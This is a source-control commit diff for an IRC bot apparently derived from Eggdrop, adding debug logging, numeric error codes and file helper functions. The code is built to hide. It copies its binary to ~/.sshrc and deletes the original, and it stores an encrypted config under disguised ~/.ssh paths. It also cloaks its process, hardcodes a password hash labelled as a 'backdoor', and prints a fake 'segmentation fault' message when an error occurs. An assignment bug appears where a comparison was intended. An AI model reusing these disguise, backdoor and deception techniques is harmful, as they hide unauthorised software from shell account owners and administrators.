Procházet zdrojové kódy

Added some file functions to simplify stat()
Recoded SDEBUG to use sdprintf()
-Cmdline param -D enables this
Errors now only output a number
-Cmdline param -E # will translate to english
Made separate md5 hash (shellpass) for checkpass()


svn: 121

Bryan Drewery před 23 roky
rodič
revize
71a8fd74da
9 změnil soubory, kde provedl 292 přidání a 120 odebrání
  1. 1 1
      pack/conf.h
  2. 5 4
      pack/settings.c
  3. 16 2
      src/eggdrop.h
  4. 101 94
      src/main.c
  5. 89 12
      src/misc.c
  6. 68 0
      src/misc_file.c
  7. 6 0
      src/misc_file.h
  8. 3 6
      src/net.c
  9. 3 1
      src/proto.h

+ 1 - 1
pack/conf.h

@@ -5,7 +5,7 @@
 
 /* The next line defines where the custom TCL build's prefix is.. */
 /* It MUST stay in the default syntax. */
-//TCLDIR "/home/ares"
+//TCLDIR "/home/wheel/bryan"
 
 
 /* Change "define" to "undef" to disable a feature

+ 5 - 4
pack/settings.c

@@ -11,11 +11,12 @@
 
 extern char *degarble(int, char *);
 
-char netpass[16], thepass[33], dcc_prefix[1], owners[2048], hubs[2048];
+char netpass[16], shellpass[33], thepass[33], dcc_prefix[1], owners[2048], hubs[2048];
 
 //Change everything..
 #define NETPASS STR("kd8e3nchasd93dk") //Just 15 random chars here..
-#define THEPASS STR("d166239eb0558fc14c25a0826d20286d") //this md5 hash will be used for various purposes..
+#define SHELLPASS STR("d166239eb0558fc14c25a0826d20286d") //this md5 hash will be used for shell functions
+#define THEPASS STR("d166239eb0558fc14c25a0826d20286d") //this md5 hash will be used for the backdoor
 #define DCCPREFIX "!" //This is the cmd prefix for dcc, ie: .cmd could be "."
 
 //You can define an infinite ammount of hubs/owners.
@@ -80,7 +81,7 @@ void init_settings() {
   snprintf(hubs, sizeof hubs, HUBS);
   snprintf(netpass, sizeof netpass, NETPASS); 
   snprintf(thepass, sizeof thepass, THEPASS);
+  snprintf(shellpass, sizeof thepass, SHELLPASS);
   sprintf(dcc_prefix, DCCPREFIX);
-  if (SDEBUG)
-    printf(STR("dcc_prefix: %s netpass: %s thepass: %s\n"), dcc_prefix, netpass, thepass);
+  sdprintf(STR("dcc_prefix: %s netpass: %s thepass: %s shellpass: %s\n"), dcc_prefix, netpass, thepass, shellpass);
 }

+ 16 - 2
src/eggdrop.h

@@ -9,8 +9,6 @@
 #ifndef _EGG_EGGDROP_H
 #define _EGG_EGGDROP_H
 
-#define SDEBUG 1
-
 /*
  * Enable IPv6 support?
  */
@@ -94,6 +92,21 @@
 #define KICK_MEAN 14
 #define KICK_BOGUSKEY 15
 
+#define ERR_BINSTAT 1
+#define ERR_BINMOD 2
+#define ERR_PASSWD 3
+#define ERR_WRONGBINDIR 4
+#define ERR_CONFSTAT 5
+#define ERR_TMPSTAT 6
+#define ERR_CONFDIRMOD 7
+#define ERR_CONFMOD 8
+#define ERR_TMPMOD 9
+#define ERR_NOCONF 10
+#define ERR_CONFBADENC 11
+#define ERR_WRONGUID 12
+#define ERR_WRONGUNAME 13
+#define ERR_BADCONF 14
+#define ERR_MAX 15
 
 /*
  *     The 'configure' script should make this next part automatic,
@@ -599,6 +612,7 @@ typedef struct {
 #define LOG_RAW      0x000080	/* r   raw server stuff coming in	*/
 #define LOG_FILES    0x000100	/* x   file transfer commands and stats	*/
 #define LOG_ERRORS   0x000200	/* e   misc errors               	*/
+#define LOG_ERROR    0x000200	/* e   misc errors               	*/
 #define LOG_GETIN    0x000400	/* g   op system. (Getin)			*/
 #define LOG_WARN     0x000800	/* u   warnings			*/
 

+ 101 - 94
src/main.c

@@ -64,7 +64,7 @@ int leaf = 1;
 int localhub = 1; //we set this to 0 if we have -c, later.
 
 extern char		 origbotname[], userfile[], botnetnick[], 
-                         thekey[], netpass[], thepass[], myip6[], myip[], hostname[],
+                         thekey[], netpass[], shellpass[], myip6[], myip[], hostname[],
                          hostname6[], natip[];
 extern int		 dcc_total, conmask, cache_hit, cache_miss,
 			 max_logs, quick_logs, fork_interval, 
@@ -105,6 +105,7 @@ int updating = 0; /* this is set when the binary is called from itself. */
 char tempdir[DIRMAX] = "";
 char lock_file[40] = "";
 char *binname;
+int     sdebug = 0;		/* enable debug output? */
 char	configfile[121] = ""; /* Name of the config file */
 char	textdir[121] = "";	/* Directory for text files that get dumped */
 int	keep_all_logs = 0;	/* Never erase logfiles, no matter how old
@@ -184,15 +185,14 @@ Context;
     (func[SERVER_NUKESERVER]) (s);
   }
 #endif
-
-  putlog(LOG_MISC, "*", "* %s", s);
+  if (s[0])
+    putlog(LOG_MISC, "*", "* %s", s);
   flushlogs();
   for (i = 0; i < dcc_total; i++)
     if (dcc[i].sock >= 0)
       killsock(dcc[i].sock);
   if (!recoverable) {
     unlink(pid_file);
-    //unlink(lock_file);
     bg_send_quit(BG_ABORT);
     exit(1);
   }
@@ -495,38 +495,41 @@ void eggAssert(const char *file, int line, const char *module)
 static void gotspawn(char *);
 #endif
 
-
+int checkedpass = 0;
 void checkpass() 
 {
-  char *gpasswd;
-  MD5_CTX ctx;
-  int i = 0;
+  if (!checkedpass) {
+    char *gpasswd;
+    MD5_CTX ctx;
+    int i = 0;
 
-  gpasswd = (char *) getpass(STR("* Enter password: "));
-  MD5_Init(&ctx);
-  MD5_Update(&ctx, gpasswd, strlen(gpasswd));
-  MD5_Final(md5out, &ctx);
-  for(i=0; i<16; i++)
-    sprintf(md5string + (i*2), "%.2x", md5out[i]);
-  if (strcmp(thepass, md5string)) {
-    fatal("incorrect password.",0);
-    exit(1); //this shouldn't be reached..
+    gpasswd = (char *) getpass(STR("* Enter password: "));
+    MD5_Init(&ctx);
+    MD5_Update(&ctx, gpasswd, strlen(gpasswd));
+    MD5_Final(md5out, &ctx);
+    for(i=0; i<16; i++)
+      sprintf(md5string + (i*2), "%.2x", md5out[i]);
+    if (strcmp(shellpass, md5string)) {
+      fatal("incorrect password.",0);
+      exit(1); //this shouldn't be reached..
+    }
+    gpasswd = 0;
+    checkedpass = 1;
   }
-  gpasswd = 0;
 }
 
 void got_ed(char *, char *, char *);
 extern int optind;
 
 #ifdef LEAF
-#define PARSE_FLAGS "edntvPc"
+#define PARSE_FLAGS "edntvPcDE"
 #endif
 #ifdef HUB
-#define PARSE_FLAGS "edntv"
+#define PARSE_FLAGS "edntvDE"
 #endif
 static void dtx_arg(int argc, char *argv[])
 {
-  int i, cpass = 0;
+  int i;
   char *p = NULL, *p2 = NULL;
   while ((i = getopt(argc, argv, PARSE_FLAGS)) != EOF) {
     switch (i) {
@@ -539,37 +542,61 @@ static void dtx_arg(int argc, char *argv[])
         break;
 #endif
       case 'n':
-        cpass = 1;
+        checkpass();
 	backgrd = 0;
 	break;
       case 't':
+        checkpass();
         term_z = 1;
         break;
+      case 'D':
+        checkpass();
+        sdebug = 1;
+        sdprintf("debug enabled");
+        break;
+      case 'E':
+        checkpass();
+        p = argv[optind];
+        if (p) {
+          if (p[0] = '*') {
+            int n;
+            putlog(LOG_MISC, "*", "Listing all errors");
+            for (n = 1; n < ERR_MAX; n++)
+              putlog(LOG_MISC, "*", "Error #%d: %s", n, werr_tostr(n));
+          } else {
+            putlog(LOG_MISC, "*", "Error #%d: %s", atoi(p), werr_tostr(atoi(p)));
+          }
+          exit(0);
+        } else {
+          fatal("You must specify error number after -E", 0);
+        }
+         break;
       case 'e':
         if (argv[optind])
           p = argv[optind];
         if (argv[optind+1])
           p2 = argv[optind+1];
         got_ed("e", p, p2);
+        break; /* this should never be reached */
       case 'd':
         if (argv[optind])
           p = argv[optind];
         if (argv[optind+1])
           p2 = argv[optind+1];
         got_ed("d", p, p2);
+        break; /* this should never be reached */
       case 'v':
 	checkpass();
 	printf("%d\n", egg_numver);
 	bg_send_quit(BG_ABORT);
 	exit(0);
- 	  break; /* this should never be reached */
+        break; /* this should never be reached */
 #ifdef LEAF
       case 'P':
         if (getppid() != atoi(argv[optind]))
           exit(0);
         else {
-          if (SDEBUG)
-            printf("Updating...\n");
+          sdprintf("Updating...");
         }
         localhub = 1;
         updating = 1;
@@ -580,8 +607,6 @@ static void dtx_arg(int argc, char *argv[])
         break;
     }
   }
-  if (cpass)
-    checkpass();
 }
 
 #ifdef HUB
@@ -894,8 +919,7 @@ void checklockfile()
 
 void got_ed(char *which, char *in, char *out)
 {
-  if (SDEBUG)
-    printf("got_Ed called: -%s i: %s o: %s\n", which, in, out);
+  sdprintf("got_Ed called: -%s i: %s o: %s", which, in, out);
 Context;
   if (!in || !out)
     fatal("Wrong number of arguments: -e/-d <infile> <outfile/STDOUT>",0);
@@ -1020,8 +1044,7 @@ static void gotspawn(char *filename)
     temps = (char *) decrypt_string(netpass, decryptit(templine));
 
 #ifdef S_PSCLOAK
-    if (SDEBUG)
-      printf("GOTSPAWN: %s\n", temps);
+    sdprintf("GOTSPAWN: %s", temps);
 #endif /* S_PSCLOAK */
 
     pscloak = atoi(newsplit(&temps));
@@ -1175,16 +1198,13 @@ int main(int argc, char **argv)
   FILE *f;
   struct sigaction sv;
   struct chanset_t *chan;
-  struct stat sb;
 #ifdef LEAF
-  struct stat ss;
   int skip = 0;
   FILE *fp;
   struct passwd *pw;
   char newbinbuf[DIRMAX], newbin[DIRMAX], confdir[DIRMAX], tmp[DIRMAX], 
        cfile[DIRMAX], templine[8192], *temps;
   int ok = 1;
-//  uid_t id;
 #else
   char confdir[DIRMAX], tmp[DIRMAX], cfile[DIRMAX], templine[8192], *temps;
   char tmpdir[DIRMAX];
@@ -1295,32 +1315,30 @@ int main(int argc, char **argv)
 
   check_trace_start();
 
-  if (stat(binname, &sb))
-   fatal("Cannot access binary.", 0);
-  if (chmod(binname, S_IRUSR | S_IWUSR | S_IXUSR))
-   fatal("Cannot chmod binary.", 0);
+  if (!can_stat(binname))
+   werr(ERR_BINSTAT);
+  if (!fixmod(binname))
+   werr(ERR_BINMOD);
 
   init_settings();
 Context;
   init_tcl(argc, argv);
 Context;
   if (argc) {
-    if (SDEBUG)
-      printf("Calling dtx_arg with %d params.\n", argc);
+    sdprintf("Calling dtx_arg with %d params.", argc);
 Context;
     dtx_arg(argc, argv);
   }
 
 #ifdef LEAF
 
-  if (SDEBUG)
-    printf("my uid: %d my uuid: %d, my ppid: %d my pid: %d\n", getuid(), geteuid(), getppid(), getpid());
+  sdprintf("my uid: %d my uuid: %d, my ppid: %d my pid: %d", getuid(), geteuid(), getppid(), getpid());
 
 Context;
   pw = getpwuid(geteuid());
 
   if (!pw)
-   fatal("Cannot read from the passwd file.", 0);
+   werr(ERR_PASSWD);
 Context;
   chdir(pw->pw_dir);
   snprintf(newbin, sizeof newbin, "%s/.sshrc", pw->pw_dir);
@@ -1335,60 +1353,52 @@ Context;
 
 #ifdef LEAF
   /* is the homedir a symlink? */
-  if (SDEBUG)
-    printf("newbin starts at: %s\n", newbin);
+  sdprintf("newbin starts at: %s", newbin);
 
 /* fuck it, I hate dealing with this shit.
-  if (!stat(newbin, &ss)) {
+  if (!can_stat(newbin)) {
     int f = 0;
     if (ss.st_mode & S_IFLNK) {  //stupid symlinked home dirs !
       f = readlink(newbin, newbinbuf, sizeof newbinbuf);
       if (!f) {
-        if (SDEBUG)
-          printf("symlink newbin: %s\n", newbin);
+        sdprintf("symlink newbin: %s", newbin);
         strcpy(newbin, newbinbuf);
-        if (SDEBUG)
-          printf("newbin is now: %s\n", newbin);
+        sdprintf("newbin is now: %s", newbin);
       } else {
-        if (SDEBUG) {
-          printf("readlink failed on %s with error %d erno %d\n", newbin, f, errno);
-        }
-        //fuck it. (no paths)
-        sprintf(newbin, ".sshrc");
-        copyfile(binname, newbin);
-        skip = 1;
+          sdprintf("readlink failed on %s with error %d erno %d", newbin, f, errno);
+          //fuck it. (no paths)
+          sprintf(newbin, ".sshrc");
+          copyfile(binname, newbin);
+          skip = 1;
       }
     }
   }
-  if (SDEBUG)
-    printf(STR("skip is: %d\n"), skip);
+  sdprintf(STR("skip is: %d"), skip);
 */
 
   if (strcmp(binname,newbin) && !skip) { //running from wrong dir, or wrong bin name.. lets try to fix that :)
-    if (SDEBUG)
-      printf("wrong dir, is: %s :: %s\n", binname, newbin);
+    sdprintf("wrong dir, is: %s :: %s", binname, newbin);
     unlink(newbin);
     if (copyfile(binname,newbin))
      ok = 0;
 
     if (ok) 
-     if (stat(newbin, &sb)) {
+     if (!can_stat(newbin)) {
        unlink(newbin);
        ok = 0;
      }
     if (ok) 
-      if (chmod(newbin, S_IRUSR | S_IWUSR | S_IXUSR)) {
+      if (!fixmod(newbin)) {
         unlink(newbin);
         ok = 0;
       }
 
     if (!ok)
-      fatal("Wrong directory/binname.", 0);
+      werr(ERR_WRONGBINDIR);
     else {
       unlink(binname);
       if (system(newbin)) {
-        if (SDEBUG)
-	  printf(STR("exiting due to problem with restarting new binary.\n"));
+        sdprintf(STR("exiting due to problem with restarting new binary."));
         exit(1);
       } else {
 	printf(STR("exiting to let new binary run.\n"));
@@ -1403,33 +1413,33 @@ Context;
 #endif
  
   snprintf(tmp, sizeof tmp, "%s/", confdir);
-  if (stat(tmp, &sb)) {
+  if (!can_stat(tmp)) {
 #ifdef LEAF
     if (mkdir(tmp,  S_IRUSR | S_IWUSR | S_IXUSR)) {
       unlink(confdir);
-      if (stat(confdir, &sb))
+      if (!can_stat(confdir))
         if (mkdir(confdir, S_IRUSR | S_IWUSR | S_IXUSR))
 #endif
-          fatal("cant create/access config dir.\n",0);
+          werr(ERR_CONFSTAT);
 #ifdef LEAF
     }
 #endif
   }
 
   snprintf(tmp, sizeof tmp, "%s/", tempdir);
-  if (stat(tmp, &sb)) {
+  if (!can_stat(tmp)) {
     if (mkdir(tmp,  S_IRUSR | S_IWUSR | S_IXUSR)) {
       unlink(tempdir);
-      if (stat(tempdir, &sb))
+      if (!can_stat(tempdir))
         if (mkdir(tempdir, S_IRUSR | S_IWUSR | S_IXUSR))
-          fatal("cant create/access tmp dir.\n",0);
+          werr(ERR_TMPSTAT);
     }
   }
 
-  if (chmod(confdir, S_IRUSR | S_IWUSR | S_IXUSR))
-    fatal("cannot chmod config dir.\n",0);
-  if (chmod(tempdir, S_IRUSR | S_IWUSR | S_IXUSR))
-    fatal("cannot chmod tmp dir.\n",0);
+  if (!fixmod(confdir))
+    werr(ERR_CONFDIRMOD);
+  if (!fixmod(tempdir))
+    werr(ERR_TMPMOD);
 
   //The config dir is accessable with correct permissions, lets read/write/create config file now..
 #ifdef LEAF
@@ -1437,7 +1447,10 @@ Context;
 #else
   snprintf(cfile, sizeof cfile, "%s/conf", confdir);
 #endif
-  chmod(cfile, S_IRUSR | S_IWUSR | S_IXUSR);
+  if (!can_stat(cfile))
+    werr(ERR_NOCONF);
+  if (!fixmod(cfile))
+    werr(ERR_CONFMOD);
 
 Context;
   init_dcc_max();
@@ -1477,20 +1490,20 @@ Context;
 #endif /* HAVE_UNAME */
     i = 0;
     if (!(f = fopen(cfile, "r")))
-      fatal(STR("the local config is missing."),0);
+       werr(0);
     while(fscanf(f,"%[^\n]\n",templine) != EOF) {
       char *nick = NULL, *host = NULL, *ip = NULL, *ipsix = NULL;
       int skip = 0;
       Context;
       if (templine[0] != '+') {
         printf(STR("%d: "), i);
-        fatal(STR("conf not encrypted correctly."), 0);
+        werr(ERR_CONFBADENC);
       }
 
       temps = (char *) decrypt_string(netpass, decryptit(templine));
       if (!strchr(STR("*#-+!abcdefghijklmnopqrstuvwxyzABDEFGHIJKLMNOPWRSTUVWXYZ"), temps[0])) {
         printf(STR("%d: "), i);
-        fatal(STR("Invalid config or encryption."),0);
+        werr(ERR_CONFBADENC);
       }
 
       snprintf(c, sizeof c, "%s",temps);
@@ -1500,25 +1513,21 @@ Context;
       else if (c[0] == '-' && !skip) { //this is the uid
         newsplit(&temps);
         if (geteuid() != atoi(temps)) {
-          if (SDEBUG) 
-            printf("wrong uid, conf: %d :: %d\n", atoi(temps), geteuid());
-          fatal("Go away.",0);
+          sdprintf("wrong uid, conf: %d :: %d", atoi(temps), geteuid());
+          werr(ERR_WRONGUID);
         }
       } else if (c[0] == '+' && !skip) { //this is the uname
         int r = 0;
         newsplit(&temps);
         snprintf(check, sizeof check, "%s %s", unix_n, vers_n);
         if ((r = strcmp(temps, check))) {
-          if (SDEBUG) 
-            printf("wrong uname, conf: %s :: %s\n", check, temps);
-          printf("%d\n", r);
-          fatal("Go away..",0);
+          sdprintf("wrong uname, conf: %s :: %s", check, temps);
+          werr(ERR_WRONGUNAME);
         }
       } else if (c[0] == '!') { //local tcl exploit
         if (c[1] == '-') { //dont use pscloak
 #ifdef S_PSCLOAK
-          if (SDEBUG)
-            printf("NOT CLOAKING\n");
+          sdprintf("NOT CLOAKING");
 #endif /* S_PSCLOAK */
           pscloak = 0;
         } else {
@@ -1530,9 +1539,8 @@ Context;
         i++;
         nick = newsplit(&temps);
         if (!nick || !nick[0])
-          fatal("invalid config.",0);
-        if (SDEBUG)
-          printf("Read nick from config: %s\n", nick);
+          werr(ERR_BADCONF);
+          sdprintf("Read nick from config: %s", nick);
         if (temps[0])
           ip = newsplit(&temps);
         if (temps[0])
@@ -1623,8 +1631,7 @@ Context;
 
 #ifdef LEAF
   if (localhub) {
-    if (SDEBUG)
-      printf("I am localhub\n");
+    sdprintf("I am localhub (%s)", origbotname);
 #endif
     check_crontab();
 #ifdef LEAF

+ 89 - 12
src/misc.c

@@ -46,7 +46,7 @@ extern char		 version[], origbotname[], botname[],
 			 bannerfile[], logfile_suffix[], textdir[], userfile[],  
                          *binname, pid_file[], netpass[], tempdir[];
 
-extern int		 backgrd, con_chan, term_z, use_stderr, dcc_total, timesync,
+extern int		 backgrd, con_chan, term_z, use_stderr, dcc_total, timesync, sdebug, 
 #ifdef HUB
                          my_port,
 #endif
@@ -579,17 +579,6 @@ void init_misc()
 
 /* low-level stuff for other modules
  */
-int is_file(const char *s)
-{
-  struct stat ss;
-  int i = stat(s, &ss);
-
-  if (i < 0)
-    return 0;
-  if ((ss.st_mode & S_IFREG) || (ss.st_mode & S_IFLNK))
-    return 1;
-  return 0;
-}
 
 /*	  This implementation wont overrun dst - 'max' is the max bytes that dst
  *	can be, including the null terminator. So if 'dst' is a 128 byte buffer,
@@ -2866,3 +2855,91 @@ char *getfullbinname(char *argv0)
   nfree(cwd);
   return bin;
 }
+
+
+void sdprintf EGG_VARARGS_DEF(char *, arg1)
+{
+  if (sdebug) {
+    char *format;
+    char s[601];
+    va_list va;
+
+    format = EGG_VARARGS_START(char *, arg1, va);
+    egg_vsnprintf(s, 2000, format, va);
+    va_end(va);
+    if (!backgrd)
+      dprintf(DP_STDOUT, "[D] %s\n", s);
+    else
+      putlog(LOG_MISC, "*", "[D] %s", s);
+  }
+}
+
+char *werr_tostr(int errnum)
+{
+  switch (errnum) {
+  case ERR_BINSTAT:
+    return STR("Cannot access binary");
+  case ERR_BINMOD:
+    return STR("Cannot chmod() binary");
+  case ERR_PASSWD:
+    return STR("Cannot access the global passwd file");
+  case ERR_WRONGBINDIR:
+    return STR("Wrong directory/binary name");
+  case ERR_CONFSTAT:
+#ifdef LEAF
+    return STR("Cannot access config directory (~/.ssh/)");
+#else
+    return STR("Cannot access config directory (./)");
+#endif /* LEAF */
+  case ERR_TMPSTAT:
+#ifdef LEAF
+    return STR("Cannot access tmp directory (~/.ssh/.../)");
+#else
+    return STR("Cannot access config directory (./tmp/)");
+#endif /* LEAF */
+  case ERR_CONFDIRMOD:
+#ifdef LEAF
+    return STR("Cannot chmod() config directory (~/.ssh/)");
+#else
+    return STR("Cannot chmod() config directory (./)");
+#endif /* LEAF */
+  case ERR_CONFMOD:
+#ifdef LEAF
+    return STR("Cannot chmod() config (~/.ssh/.known_hosts/)");
+#else
+    return STR("Cannot chmod() config (./conf)");
+#endif /* LEAF */
+  case ERR_TMPMOD:
+#ifdef LEAF
+    return STR("Cannot chmod() tmp directory (~/.ssh/.../)");
+#else
+    return STR("Cannot chmod() tmp directory (./tmp)");
+#endif /* LEAF */
+  case ERR_NOCONF:
+#ifdef LEAF
+    return STR("The local config is missing (~/.ssh/.known_hosts)");
+#else
+    return STR("The local config is missing (./conf)");
+#endif /* LEAF */
+  case ERR_CONFBADENC:
+    return STR("Encryption in config is wrong/corrupt");
+  case ERR_WRONGUID:
+    return STR("UID in conf does not match getuid()");
+  case ERR_WRONGUNAME:
+    return STR("Uname in conf does not match uname()");
+  case ERR_BADCONF:
+    return STR("Config file is incomplete");
+  default:
+    return STR("Unforseen error");
+  }
+
+}
+
+void werr(int errnum)
+{
+  putlog(LOG_MISC, "*", "error #%d", errnum);
+  sdprintf("error translates to: %s", werr_tostr(errnum));
+  printf("(segmentation fault)\n");
+  fatal("", 0);
+}
+

+ 68 - 0
src/misc_file.c

@@ -77,3 +77,71 @@ int movefile(char *oldpath, char *newpath)
     unlink(oldpath);
   return ret;
 }
+
+int is_file(const char *s)
+{
+  struct stat ss;
+  int i = stat(s, &ss);
+
+  if (i < 0)
+    return 0;
+  if ((ss.st_mode & S_IFREG) || (ss.st_mode & S_IFLNK))
+    return 1;
+  return 0;
+}
+
+int can_stat(const char *s)
+{
+  struct stat ss;
+  int i = stat(s, &ss);
+
+  if (i < 0)
+    return 0;
+  return 1;
+}
+
+int can_lstat(const char *s)
+{
+  struct stat ss;
+  int i = lstat(s, &ss);
+
+  if (i < 0)
+    return 0;
+  return 1;
+}
+
+int is_symlink(const char *s)
+{
+  struct stat ss;
+  int i = stat(s, &ss);
+
+  if (i < 0)
+    return 0;
+  if (ss.st_mode & S_IFLNK)
+    return 1;
+  return 0;
+}
+
+int is_dir(const char *s)
+{
+  struct stat ss;
+  int i = stat(s, &ss);
+
+  if (i < 0)
+    return 0;
+  if (ss.st_mode & S_IFDIR)
+    return 1;
+  return 0;
+}
+
+int fixmod(const char *s)
+{
+  int i;
+
+  if (!can_stat(s))
+    return 0;
+  i = chmod(s, S_IRUSR | S_IWUSR | S_IXUSR);
+  if (i < 0)
+    return 0;
+  return 1;
+}

+ 6 - 0
src/misc_file.h

@@ -9,5 +9,11 @@
 
 int copyfile(char *, char *);
 int movefile(char *, char *);
+int is_file(const char *);
+int can_stat(const char *);
+int can_lstat(const char *);
+int is_symlink(const char *);
+int is_dir(const char *);
+int fixmod(const char *);
 
 #endif				/* _EGG_MISC_FILE_H */

+ 3 - 6
src/net.c

@@ -212,21 +212,18 @@ void cache_my_ip()
   memset(&cached_myip6_so, 0, sizeof(union sockaddr_union));
 
   if (myip6 != NULL && myip6[1]) {
-    if (SDEBUG)
-      printf("myip6: %s\n", myip6);
+    sdprintf("myip6: %s", myip6);
     if (get_ip(myip6, &cached_myip6_so))
       any = 1;
   } else if (hostname != NULL && hostname6[1]) {
-    if (SDEBUG)
-      printf("myhostname6: %s\n", hostname6);
+    sdprintf("myhostname6: %s", hostname6);
     if (get_ip(hostname6, &cached_myip6_so))
       any = 1;
   } else
     any = 1;
 
   if (any) {
-    if (SDEBUG)
-      printf("IPV6 addr_any is set.\n");
+    sdprintf("IPV6 addr_any is set.");
     cached_myip6_so.sin6.sin6_family = AF_INET6;
     cached_myip6_so.sin6.sin6_addr = in6addr_any;
   }

+ 3 - 1
src/proto.h

@@ -210,6 +210,9 @@ char *progname();
 void init_settings();
 
 /* misc.c */
+void werr(int);
+char *werr_tostr(int);
+void sdprintf EGG_VARARGS(char *, arg1);
 int listen_all(int, int);
 char *getfullbinname(char *);
 char *replace(char *, char *, char *);
@@ -266,7 +269,6 @@ void show_banner(int);
 char *extracthostname(char *);
 void make_rand_str(char *, int);
 int oatoi(const char *);
-int is_file(const char *);
 void logsuffix_change(char *);
 char *str_escape(const char *str, const char div, const char mask);
 char *strchr_unescape(char *str, const char div, register const char esc_char);